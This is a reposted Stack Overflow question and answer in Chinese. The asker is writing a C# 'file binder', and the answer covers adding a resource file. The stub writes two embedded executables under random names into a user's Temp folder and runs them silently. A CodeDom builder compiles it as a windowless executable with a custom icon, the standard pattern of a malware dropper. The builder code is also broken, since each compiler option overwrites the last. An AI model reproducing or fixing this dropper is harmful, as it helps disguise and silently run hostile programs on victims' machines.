gpt4 book ai didi

C# 无法访问 Properties.Resources

转载 作者:行者123 更新时间:2023-11-30 12:21:06 25 4
gpt4 key购买 nike

所以,我正在制作一个文件 Binder 。saves1saves2 是嵌入资源和
我想将其解压缩到临时文件夹中。

这是我的代码:

using System.IO;
using System.Diagnostics;

namespace _123
{
class Program
{
static void Main(string[] args)
{
string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
byte[] lel1 = Properties.Resources.saves2;
byte[] lel = Properties.Resources.saves1;
File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
Process.Start(patdth + "\\hdhtehyr.exe");
Process.Start(patdth + "\\hdhdhdhgd.exe");


}
}
}

我收到这个错误:

"Error CS0103 The name 'Properties' does not exist in the current context ConsoleApplication3".

编辑:

我这里是动态插入资源,你可以看到我的代码“/resources” + Path”是我添加资源的方式。

        public void compile2(string file)
{
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters compars = new CompilerParameters();
compars.ReferencedAssemblies.Add("System.dll");
compars.ReferencedAssemblies.Add("System.Reflection.dll");
compars.ReferencedAssemblies.Add("System.IO.dll");
compars.GenerateExecutable = true;
compars.GenerateInMemory = false;
compars.TreatWarningsAsErrors = false;
compars.OutputAssembly = "Binded.exe";
compars.CompilerOptions = "/resources:" + textBox10.Text;
compars.CompilerOptions = "/resources:" + textBox11.Text;
compars.CompilerOptions = "/t:winexe";
if (string.IsNullOrWhiteSpace(textBox12.Text))
{

}
else
{
compars.CompilerOptions = "/win32icon:" + textBox12.Text;
}
CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
{
MessageBox.Show("Code compiled!", "Success");
}
}

最佳答案

在“ConsoleApplication3”项目下,双击“属性”-> 选择“资源”选项卡-> 单击“此项目不包含默认资源文件。单击此处创建一个。”信息。在此处添加文件(“saves1”和“saves2”)。

关于C# 无法访问 Properties.Resources,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47156042/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com